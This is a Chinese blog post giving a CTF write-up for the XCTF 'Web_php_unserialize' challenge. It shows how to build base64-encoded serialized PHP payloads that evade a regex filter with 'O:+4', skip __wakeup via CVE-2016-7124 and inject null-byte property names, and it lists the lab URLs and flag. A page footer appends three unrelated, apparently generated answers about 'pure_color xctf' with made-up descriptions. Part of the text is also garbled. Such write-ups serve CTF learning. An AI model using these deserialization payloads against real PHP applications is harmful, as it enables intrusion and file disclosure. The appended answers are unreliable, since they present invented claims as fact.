XCTF-攻防世界CTF平台-Web类——13、Web_php_unserialize(php反序列化漏洞绕过__wakeup()函数、正则表达式)

打开题目地址:
在这里插入图片描述

这也是一个php反序列化的题目
源代码:

<?php 
/**
* 定义一个demo类
*
/
class Demo { 
# 初始化$file变量的默认值是index.php
    private $file = 'index.php';
# 类初始化的时候的构造函数,初始化当前对象的页面
    public function __construct($file) { 
        $this->file = $file; 
    }
# 对象销毁之前的析构函数,高亮输出当前对象的$this->file页面
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
# 反序列化的时候,自动调用的__wakeup魔术函数
    function __wakeup() { 
# 如果当前对象的页面不是index.php,也会被赋值为index.php
        if ($this->file != 'index.php') {
# 提示flag在fl4g.php页面,所以我们要绕过__wakeup函数输出fl4g.php页面 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
# 判断GET方式的var变量是否声明并且非 null
if (isset($_GET['var'])) {
# 将获取的GET方式变量var的值base64解码 
    $var = base64_decode($_GET['var']);
# 解码后的值如果匹配正则表达式 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
# 就输出'stop hacking!'
        die('stop hacking!'); 
    } else {
# 不匹配则执行反序列化$var变量
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

  所以我们的目的就是输入序列化字符串给GET方式的var变量,绕过正则表达式’/[oc]:\d+:/i’,并且绕过__wakeup(),高亮输出fl4g.php页面。
其中正则表达式’/[oc]:\d+:/i’是/[oc]匹配任意字符o和c,接着冒号,接着\d+匹配一个或者多个数字,之后再一个冒号,最后/i模式修饰符的作用是设定模式:忽略大小写。

首先我们需要生成Demo类的序列化字符串,

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
    $fl4g = new Demo('fl4g.php');
$input = serialize($fl4g);
echo $input."<br/>";
 ?>

在线运行:https://tool.lu/coderunner/
运行结果:
在这里插入图片描述

得到的Demo类的序列化字符串:O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
序列化字符串中的参数的意义:
在这里插入图片描述

我们先将未作修改的序列化字符串给GET方式的var变量,

O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

经过Base64编码就是:

Tzo0OiJEZW1vIjoxOntzOjEwOiJEZW1vZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

在这里插入图片描述

访问:

http://111.200.241.244:50595/?/var=Tzo0OiJEZW1vIjoxOntzOjEwOiJEZW1vZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

在这里插入图片描述

  我们可以看到程序到die(‘stop hacking!’);这个条件分支,所以我们首先要绕过正则表达式’/[oc]:\d+:/i’的匹配:
将原序列化字符串:

O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

改为:

O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

这是因为php中+号可以被当作正号,所以+4等于4,并且可以绕过正则表达式’/[oc]:\d+:/i’的匹配。

O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

经过Base64编码就是:

TzorNDoiRGVtbyI6MTp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=

在这里插入图片描述

访问:

http://111.200.241.244:50595/?var=TzorNDoiRGVtbyI6MTp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=

在这里插入图片描述

  我们可以看到程序绕过了if (preg_match('/[oc]:\d+:/i', $var))的正则匹配,到了执行@unserialize($var)从而触发了__wakeup()函数将我们要访问的页面由fl4g.php改为了index.php,最后@highlight_file($this->file, true)显示。
  接下来我们就要绕过__wakeup()函数,需要用到CVE-2016-7124的漏洞,在PHP5<5.6.25,PHP7<7.0.10的版本中,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。
所以我们将

O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

中被序列化的对象属性个数1改为2:

O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

再把它经过Base64编码就是:

TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=

在这里插入图片描述

访问:

http://111.200.241.244:51944/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=

在这里插入图片描述

但是竟然没有绕过__wakeup()函数
  我们通过php代码来验证一下,通过比较serialize函数产生的序列化字符串和我们赋值粘贴的字符串的长度和Base64编码:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
    $fl4g = new Demo('fl4g.php');
	$var = serialize($fl4g);
	echo $var."\n";

	$var = str_replace('O:4','O:+4',$var);	#用+4替换成4是为了绕过preg_match()的正则匹配
	echo $var."\n";
	$var = str_replace(':1:',':2:',$var);		#绕过__wakeup()魔术方法
	echo $var."\n";
	echo strlen($var)."\n";
	$var = base64_encode($var);	
	echo $var."\n"."\n";
	
	$input = "O:+4:\"Demo\":2:{s:10:\"Demofile\";s:8:\"fl4g.php\";}";
    echo $input."\n";
	echo strlen($input)."\n";
	$input = base64_encode($input);
	echo $input."\n";
 ?>

在线运行:https://tool.lu/coderunner/
运行结果:
在这里插入图片描述

发现php的serialize函数生成的序列化字符串 v a r 和 我 们 看 到 的 字 符 串 var和我们看到的字符串 varinput长度相差了2,从而导致Base64之后的值不一样。
这是因为对象字段名的序列化。
对象字段名的序列化
  var 和 public 声明的字段都是公共字段,因此它们的字段名的序列化格式是相同的。公共字段的字段名按照声明时的字段名进行序列化,但序列化后的字段名中不包括声明时的变量前缀符号$。
protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0\0的前缀。这里的\0表示 ASCII 码为0的字符,而不是\0组合。
  private声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,字段名前面会加上\0\0的前缀。这里 表示的是声明该私有字段的类的类名,而不是被序列化的对象的类名。因为声明该私有字段的类不一定是被序列化的对象的类,而有可能是它的祖先类。
  字段名被作为字符串序列化时,字符串值中包括根据其可见性所加的前缀。字符串长度也包括所加前缀的长度。其中\0字符也是计算长度的。

  所以这里的private $file = ‘index.php’;中private在被序列化的时候给Demofile(类名属性名)中的类Demo前后分别加上一个了\0,导致Base64编码的值不同。
  如果这里的声明是public,被序列化后的属性名就只是file(属性名)。
  通过给赋值粘贴的字符串中的Demofile中的类Demo前后也分别加上一个了\0,可以验证上面的结论:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
    $fl4g = new Demo('fl4g.php');
	$var = serialize($fl4g);
	echo $var."\n";

	$var = str_replace('O:4','O:+4',$var);	#用+4替换成4是为了绕过preg_match()的正则匹配
	echo $var."\n";
	$var = str_replace(':1:',':2:',$var);		#绕过__wakeup()魔术方法
	echo $var."\n";
	echo strlen($var)."\n";
	for($i=0;$i<strlen($var);$i++){
		echo $var[$i]."\n";
	}
	$var = base64_encode($var);	
	echo $var."\n"."\n";
	
	$input = "O:+4:\"Demo\":2:{s:10:\""."\0"."Demo"."\0"."file\";s:8:\"fl4g.php\";}";
    echo $input."\n";
	echo strlen($input)."\n";
	$input = base64_encode($input);
	echo $input."\n";
 ?>

在线运行:https://tool.lu/coderunner/
运行结果:
在这里插入图片描述

  逐字符输出serialize函数生成的序列化字符串$var,可以看到在Demofile中的类Demo前后输出了空字符\0;我们看到的字符串$input在Demofile中的类Demo前后加上了空字符\0之后,和序列化字符串$var的长度和Base64值都相等了,结论成立。
  最后我们访问:

http://111.200.241.244:51944/?var=TzorNDoiAERlbW8iADoyOntzOjEwOiJEZW1vZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

在这里插入图片描述

得到flag:ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

  • 1
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: pure_color xctf是一个CTF比赛平台,致力于举办和推广网络安全竞赛。 pure_color xctf的目标是为安全爱好者和专业人士提供一个学习、切磋和交流的平台。这个平台上举办的比赛覆盖了各种网络安全领域,包括但不限于网络攻防、密码学、逆向工程等。通过参与这些比赛,参赛者可以提升自己的技能,了解最新的安全威胁和攻击技术,锻炼解决问题的能力。 pure_color xctf的比赛模式多样,可以是个人或团队参与。参赛者需要在限定的时间内完成一系列的题目,这些题目可能包含漏洞分析、编程挑战、数据分析等。比赛过程中,参赛者需要运用各种技术手段,如渗透测试、代码审计、漏洞利用等,解决题目的要求。参赛者不仅需要具备网络安全相关的知识,还需要具备良好的团队合作和解决问题的能力。 此外,pure_color xctf也为参赛者提供了一个交流平台。比赛期间,参赛者可以在平台上与其他选手交流经验、讨论解题思路。参赛者也可以通过竞赛结果来评估自己的能力,并与其他选手进行切磋比拼。 总之,pure_color xctf是一个举办网络安全竞赛的平台,旨在为安全爱好者和专业人士提供学习和交流的机会,促进网络安全技术的发展。 ### 回答2: pure_color xctf 是一项竞技性的网络安全挑战赛。XCCTF 是全球知名的网络安全竞赛组织之一,而 pure_color 是该竞赛组织内的一项赛事。该赛事旨在提升参赛者的网络安全技能和知识,让他们在一个仿真的网络环境中进行攻防对抗。 在 pure_color xctf 中,参赛队伍将根据题目要求进行网络攻击和防御。这些题目有不同的难度级别,并涵盖了各种不同的网络安全技术和攻击类型。参赛队伍将需要利用他们的知识和技能,像真实的黑客一样去攻击系统漏洞,获取目标系统内的敏感信息或是直接控制目标系统。同时,他们也需要通过搭建防御策略和系统来保护自己的系统免受攻击。 pure_color xctf 不仅仅是一个交流学习的平台,也是一个展示能力的舞台。优胜的参赛队伍将会被邀请参加更高级别的网络安全竞赛和会议,进一步提升他们的技能并扩展职业网络。此外,pure_color xctf 也为参赛者提供了一个找到职业机会的平台,很多安全公司和组织会在赛事期间招聘优秀的选手。 总而言之,pure_color xctf 是一个有挑战性的网络安全竞赛,旨在通过攻击和防御对抗提升参赛者的技能,并为他们提供职业发展和展示的机会。同时,这个赛事也在促进网络安全领域的交流和合作,为提升整个网络安全行业的水平做出贡献。 ### 回答3: pure_color xctf 是一个CTF(Capture The Flag,夺旗赛)竞赛平台CTF是一种网络安全竞赛,旨在让参赛者通过解决一系列的密码学、逆向工程、漏洞利用等问题来获取旗标,比赛者可以通过这些旗标来获取积分并竞争排名。 pure_color xctf 平台是一个为CTF竞赛提供的一个在线环境,类似于一个实验室,用于举办CTF比赛。在这个平台上,参赛者可以注册账号并加入已经发布的CTF赛事中。赛事中的题目被分为不同的难度级别,涵盖了各种安全领域的知识。参赛者需要通过解决题目中的任务来获取旗标,并将其提交到平台上进行验证。在比赛结束后,将根据参赛者解决的题目数量、用时、积分等因素来计算最终排名,并颁发奖励给获胜者。 pure_color xctf 提供了逼真的仿真环境,使得参赛者能够在一个安全的网络环境下进行实时的攻防演练。平台上的题目多样且具有挑战性,旨在让参赛者将所学的理论知识应用到实际场景中去,并培养解决问题和团队合作的能力。同时,pure_color xctf 还为参赛者提供了交流平台,方便他们在比赛过程中与其他参赛者交流经验、技巧以及解题思路。 总之,pure_color xctf 是一个提供CTF竞赛平台的在线环境,旨在鼓励参赛者在安全领域中深入学习和实践,并通过解决各种挑战赛题目来提升技能和知识水平。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值